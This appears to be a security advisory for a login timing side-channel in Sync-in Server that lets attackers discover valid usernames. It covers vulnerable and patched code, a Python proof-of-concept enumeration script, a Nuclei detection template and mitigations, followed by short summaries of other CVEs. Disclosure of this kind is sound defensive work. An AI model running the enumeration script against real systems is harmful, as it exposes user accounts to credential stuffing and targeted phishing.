Sep 22, 2026·7 min read·52 visits
A timing side-channel in Sync-in Server's login endpoint allows unauthenticated attackers to discover valid user accounts by analyzing response latency variations between existing and non-existent accounts.
CVE-2026-58272 is a timing side-channel vulnerability in the authentication endpoint of Sync-in Server before version 2.4.1. Unauthenticated remote attackers can distinguish between valid and invalid usernames due to asymmetric execution paths. When processing invalid usernames, the database query returns early, skipping the computationally expensive bcrypt verification path that is normally triggered for valid accounts.
The vulnerability is located within the authentication component of the Sync-in Server, an open-source secure collaboration and file synchronization platform. The authentication endpoint (POST /api/auth/login) acts as the primary gateway for user access control, interacting with local, LDAP, or OIDC directory backends. This system exposes a public-facing network interface that handles user lookup and password evaluation prior to establishing active user sessions.
An observable timing discrepancy (classified under CWE-208) exists due to the conditional execution of the password hashing function. When processing a login request, the application first queries the database to locate the requested username or email. If the lookup returns no matching record, the system immediately returns an unauthorized error response to the client.
Conversely, if the account exists, the application proceeds to verify the provided credentials against the stored hash using a CPU-heavy hashing algorithm. This creates an asymmetric execution path where existing accounts require substantially more processing time than non-existent accounts. Consequently, remote unauthenticated entities can measure the latency differences over the network to reconstruct a complete list of valid directory accounts.
The root cause of CVE-2026-58272 lies in the backend verification logic where the database validation functions exit early when user records are missing. In vulnerable versions, the local authentication repository handles database queries via the UsersManager component. If the requested identifier is not found in the persistent store, the function returns a null response immediately to the HTTP controller without executing subsequent logic.
When a valid user is identified, the system must verify the submitted credential. This verification invokes comparePassword(), which relies on bcrypt.compare() to authenticate the user. The bcrypt algorithm is deliberately configured with a work factor designed to delay operations, which consumes between 100 milliseconds and 150 milliseconds of CPU execution time depending on server hardware specifications.
The timing side-channel manifests because of this execution path divergence. A failed user lookup executes and returns within approximately 1 to 3 milliseconds, as it only encompasses database index lookup operations. A correct user lookup with an incorrect password forces a full cryptographic verification step, consuming the full bcrypt cycle. This 100ms discrepancy is highly discernible over typical internet routes and remains completely reliable over local networks.
The vulnerable logic is located within backend/src/authentication/providers/mysql/auth-provider-mysql.service.ts. The implementation of the validation routine handles user lookups and authentication separately, causing the short-circuit behavior shown below:
// VULNERABLE CODE
async validateUser(loginOrEmail: string, password: string, ip?: string, scope?: AUTH_SCOPE): Promise<UserModel> {
let user: UserModel
try {
user = await this.usersManager.findUser(loginOrEmail, false)
} catch (e) {
this.logger.error({ tag: this.validateUser.name, msg: `${e}` })
throw new HttpException('Authentication service error', HttpStatus.INTERNAL_SERVER_ERROR)
}
if (!user) {
this.logger.warn({ tag: this.validateUser.name, msg: `login or email not found for *${loginOrEmail}*` })
return null // EARLY EXIT: Skipping bcrypt comparison
}
return await this.usersManager.logUser(user, password, ip, scope) // Triggers comparePassword()
}The patch committed in release 2.4.1 restructures this workflow by routing both valid and invalid pathways through a centralized function that enforces symmetric execution times. It introduces dummy comparisons to simulate bcrypt execution when user lookups fail, as shown in backend/src/applications/users/services/users-manager.service.ts:
// PATCHED CODE
async validateLocalPasswordForUser(
user: UserModel | null,
loginOrEmail: string,
password: string,
ip?: string,
scope?: AUTH_SCOPE,
canAuthenticate?: (user: UserModel) => boolean
): Promise<UserModel | null> {
if (!user) {
this.logger.warn({ tag: this.validateLocalPasswordForUser.name, msg: `login or email not found for *${loginOrEmail}*` })
await comparePassword(password, null) // BURNS TIME: Executes dummy bcrypt hashing
if (scope) {
await comparePassword(password, null) // Burns time for scoped credential simulation
}
return null
}
if (canAuthenticate && !canAuthenticate(user)) {
await comparePassword(password, null) // BURNS TIME
if (scope) {
await comparePassword(password, null)
}
return null
}
return this.logUser(user, password, ip, scope)
}In the modified design, when user evaluates to null, the function invokes comparePassword(password, null). Inside the password utility, passing a null target hash forces the code to execute a cryptographic hash on a pre-defined constant string with the same work factor. This process equalizes the response time for invalid lookups, neutralizing the timing side-channel.
Exploitation does not require active sessions or access tokens. An attacker requires only network access to the API route and a target dictionary of usernames or emails. To execute account enumeration, the attacker can leverage the different latency profiles of existing versus non-existent accounts.
First, the attacker sends multiple requests containing highly randomized strings to establish a low-end execution baseline. This baseline represents the network transit time combined with the database select query latency. The attacker then targets specific accounts and calculates the median response latency over several iterations to filter out network jitter. Any request yielding a latency significantly higher than the baseline identifies a valid user account.
The following Python script functions as a Proof-of-Concept to perform timing analysis and isolate valid users:
#!/usr/bin/env python3
import time
import requests
import statistics
TARGET_URL = "http://localhost:3000/api/auth/login"
USERNAMES = ["admin", "nonexistent_9912", "john.doe@sync-in.test", "invalid_user"]
SAMPLES = 5
def check_latency(username):
latencies = []
for _ in range(SAMPLES):
start = time.perf_counter()
try:
requests.post(TARGET_URL, json={"loginOrEmail": username, "password": "Dummy123"}, timeout=5)
except requests.RequestException:
continue
latencies.append((time.perf_counter() - start) * 1000)
return statistics.median(latencies) if latencies else 0
baseline = check_latency("definitely_nonexistent_account_192837")
threshold = baseline + 50.0 # Split difference between ~2ms and ~100ms
print(f"Baseline: {baseline:.2f}ms. Threshold: {threshold:.2f}ms.\n")
for user in USERNAMES:
latency = check_latency(user)
status = "EXISTS" if latency > threshold else "NOT FOUND"
print(f"{user:<25} | Latency: {latency:>6.2f}ms | Status: {status}")The impact of CVE-2026-58272 is categorized as confidentiality loss of internal server metadata. Unauthenticated attackers can silently list active user accounts, administrative emails, and active directory identities on the instance. This exposure directly bypasses typical account isolation configurations designed to keep user directories private.
Exposing valid account names significantly reduces the difficulty of downstream authentication attacks. Attackers can compile lists of discovered usernames to run credential stuffing attacks or targeted password-spraying pipelines. Knowing which accounts exist allows attackers to avoid triggering brute-force lockouts on non-existent usernames, keeping target system alarms minimal.
Additionally, the list of discovered accounts can be weaponized in targeted phishing and social engineering campaigns. Identifying highly privileged accounts, such as system administrators or executive users, allows adversaries to focus their exploitation resources on high-value targets, potentially escalating the compromise to a full system intrusion.
The primary resolution is updating the Sync-in Server installation to version 2.4.1 or later. This release incorporates the timing defense wrappers in all authentication drivers, including the LDAP, MySQL, and OIDC subsystems, ensuring constant time performance for both successful and unsuccessful identification lookups.
If upgrading immediately is not feasible, proxy-level mitigations should be implemented. Administrators should deploy strict rate-limiting rules at the reverse proxy or Web Application Firewall layer. Restricting requests to the /api/auth/login endpoint to 5 requests per minute per IP address will heavily limit the speed of systematic enumeration sweeps.
Security teams can verify vulnerability status using custom detection engines. The following Nuclei template can be deployed to identify unpatched instances by verifying whether response latencies fall below expected hashing durations:
id: CVE-2026-58272-timing-sidechannel
info:
name: Sync-in Server Username Enumeration Timing Side-Channel
author: security-researcher
severity: medium
classification:
cwe-id: CWE-208
http:
- raw:
- |
POST /api/auth/login HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"loginOrEmail": "nonexistent_user_for_timing_test_9019", "password": "DummyPassword123!"}
matchers-condition: and
matchers:
- type: status
status:
- 401
- 400
- type: dsl
dsl:
- "duration < 25"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N| Product | Affected Versions | Fixed Version |
|---|---|---|
Sync-in Server Sync-in | < 2.4.1 | 2.4.1 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-208: Observable Timing Discrepancy |
| Attack Vector | Network (AV:N) |
| CVSS Score | 5.3 (Medium) |
| EPSS Score | 0.00285 (21.23% Percentile) |
| Exploit Status | Proof-of-Concept (PoC) level |
| CISA KEV Status | Not listed |
The application exposes a timing side-channel by executing computationally expensive operations conditionally based on user existence.
CVE-2026-12411 is a broken access control vulnerability in the DevLXD interface of Canonical LXD versions 6.6 through 6.8. The flaw resides in the devLXDInstancePatchHandler component, which fails to verify storage volume ownership when an instance attaches a new disk device via the /dev/lxd guest socket. When the security.devlxd.management.volumes configuration option is enabled, an untrusted guest or DevLXD identity can issue a crafted HTTP PATCH request referencing another tenant's custom storage volume. The LXD host daemon subsequently mounts the target volume into the requesting guest, permitting unauthorized cross-tenant read and write operations.
CVE-2026-105769 (GHSA-5q7h-w9jf-cx97, GO-2026-6225) is an origin validation error and credential exfiltration vulnerability affecting Kaniko prior to version 1.25.20. The flaw stems from an unanchored regular expression in the integrated Azure Container Registry (ACR) credential helper (github.com/chrismellard/docker-credential-acr-env). When Kaniko processes a Dockerfile containing an image reference hosted on a lookalike domain containing an ACR suffix as a substring (e.g., x.azurecr.io.attacker.com), the credential helper acquires a Microsoft Entra ID access token for Azure Resource Manager and transmits it via HTTP POST to the attacker-controlled host.
CVE-2026-62300 is an uncontrolled resource consumption vulnerability (CWE-400) affecting the daemon mode of filecoin-pin in versions up to and including 1.1.0. The daemon implements the IPFS Pinning Service API to store content on Filecoin's Proof of Data Possession (PDP) service. Due to the absence of rate limits, concurrency caps, execution timeouts, and Directed Acyclic Graph (DAG) traversal limits, an authenticated user—or an unauthenticated user when authentication is disabled—can exhaust system resources via crafted POST /pins requests.
CVE-2026-61536 is a high-severity Remote Code Execution (RCE) vulnerability in the masci/banks Python library prior to version 2.4.3. The flaw exists within the CompletionExtension component, which parses JSON-serialized Tool definitions directly from rendered Jinja template bodies inside {% completion %} blocks. When handling tool calls returned by an LLM, the library dynamically resolves the target callable using importlib.import_module() and getattr() based on an unvalidated import_path string. An attacker who can supply or modify prompt templates can inject a malicious Tool JSON object pointing to arbitrary Python functions (such as os.system), bypassing the Jinja SandboxedEnvironment introduced in version 2.4.2 and achieving arbitrary code execution when the LLM invokes the tool.
Payload CMS contains a missing authorization vulnerability (CWE-862) in its client-side upload instructions endpoint and the `@payloadcms/storage-vercel-blob` storage adapter. Two distinct logic defects allow authenticated users lacking collection-level `create` or `update` permissions to generate signed upload tokens and upload arbitrary files directly to external cloud storage.
CVE-2026-55098 (GHSA-93cm-2v4m-c56c) is an authorization bypass and sensitive information disclosure vulnerability in Basekick-Labs Arc prior to version 26.06.2. The flaw stems from an incomplete remediation of CVE-2026-47735, which failed to restrict the full suite of DuckDB table-valued filesystem I/O functions and quoted-identifier invocations. Because Arc's query parser ignores function calls during table reference extraction, authenticated users with minimal or empty permissions can invoke functions like parquet_scan(), glob(), and read_blob() to read, enumerate, and extract telemetry data across all tenant databases residing within the shared local storage root.